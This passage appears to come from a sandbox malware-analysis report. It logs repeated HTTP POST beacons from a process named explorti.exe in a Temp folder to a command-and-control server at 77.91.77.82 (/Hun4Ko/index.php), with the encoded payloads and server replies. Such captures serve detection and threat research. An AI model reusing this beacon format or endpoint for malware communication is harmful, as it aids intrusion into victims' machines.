Jun 28, 2024 13:37:38.527131081 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:38.738950014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49798	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:38.857585907 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:39.542751074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49799	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:39.551528931 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:40.230091095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49800	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:40.342000961 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:41.015491009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49801	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:41.024657011 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:41.699634075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49802	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:41.820101976 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:42.490950108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49803	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:42.499556065 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:43.175333023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49804	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:43.294007063 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:43.966715097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49805	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:43.977374077 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:44.656997919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49806	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:44.929445028 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:45.606591940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49807	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:45.616535902 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:46.293112993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49808	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:46.408153057 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:47.102197886 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49809	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:47.111257076 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:47.975287914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49810	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:48.093655109 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:49.528018951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:49.528095961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:49.528311968 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49811	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:49.537484884 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:50.228205919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49812	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:50.344392061 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:51.036732912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49813	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:51.056036949 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:51.729487896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49814	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:51.844055891 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:52.526483059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49815	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:52.537568092 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:53.209486961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49816	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:53.325314999 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:54.204699993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 13:37:54.208292961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49817	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:54.214292049 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:54.888413906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49818	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:55.013147116 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49819	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
